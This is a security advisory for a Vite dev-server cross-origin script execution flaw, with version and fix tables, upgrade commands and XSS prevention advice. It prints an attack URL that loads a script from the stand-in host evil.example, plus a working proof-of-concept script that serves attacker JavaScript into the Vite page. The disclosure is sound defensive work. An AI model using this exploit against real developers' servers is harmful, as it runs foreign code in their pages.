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GHSA-9jrq-w75r-8gcw CVE-2026-112945

Vite: Cross origin script execution through Vite custom middleware

Low npm
Severity
2.1 / 10
Low · CVSS 4.0
Exploit chance (EPSS)
0.67%
Chance of exploitation in the next 30 days. Higher than 52.07% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Fix
Available
2 packages have a fixed version

Description

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

  • the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
  • the transformed HTML contains an inline module script
  • from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Affected versions

npm

PackageVulnerableFixed in
vite
>= 8.3.0, <= 8.3.2
No fix yet
vite
>= 8.2.0, <= 8.2.3
No fix yet
vite
>= 8.0.0, <= 8.1.5
No fix yet
vite
>= 7.0.0, <= 7.3.6
No fix yet
vite
<= 6.4.3
No fix yet
vite
>= 8.3.0, < 8.3.3
8.3.3
vite
>= 8.2.0, < 8.2.4
8.2.4
vite
>= 8.0.0, < 8.1.6
8.1.6
vite
>= 7.0.0, < 7.3.7
7.3.7
vite
< 6.4.4
6.4.4
vite-plus
<= 1.0.0
No fix yet
vite-plus
< 1.1.0
1.1.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vite npm → 8.3.3

npm
npm install vite@8.3.3
yarn
yarn add vite@8.3.3
pnpm
pnpm add vite@8.3.3

vite-plus npm → 1.1.0

npm
npm install vite-plus@1.1.0
yarn
yarn add vite-plus@1.1.0
pnpm
pnpm add vite-plus@1.1.0

Severity breakdown

CVSS 4.0 2.1

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
Active
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

How to prevent it
  • Implementation: Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-4r4m-qw57-chr8
Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
High Known exploited Also affects vite
GHSA-8g5g-mxqh-grgj
Vite: `server.fs.deny` bypassed with queries
Medium Also affects vite
GHSA-vfpm-58rq-9qcg
Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance`
Medium Also affects vite
GHSA-rq7h-c2jc-7f22
Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine
Medium Also affects vite
GHSA-r825-w8mm-5pxw
launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors
Medium Also affects vite
GHSA-698v-4r3x-3vcv
launch-editor: escapeCmdArgs() omits % escaping on Windows
Medium Also affects vite
GHSA-587h-7wmj-h5pm
launch-editor: `fs.existsSync()` existence check can be bypassed on Windows
High Also affects vite
GHSA-v6wh-96g9-6wx3
launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Medium Also affects vite

Credits: bluwy, deevashwer

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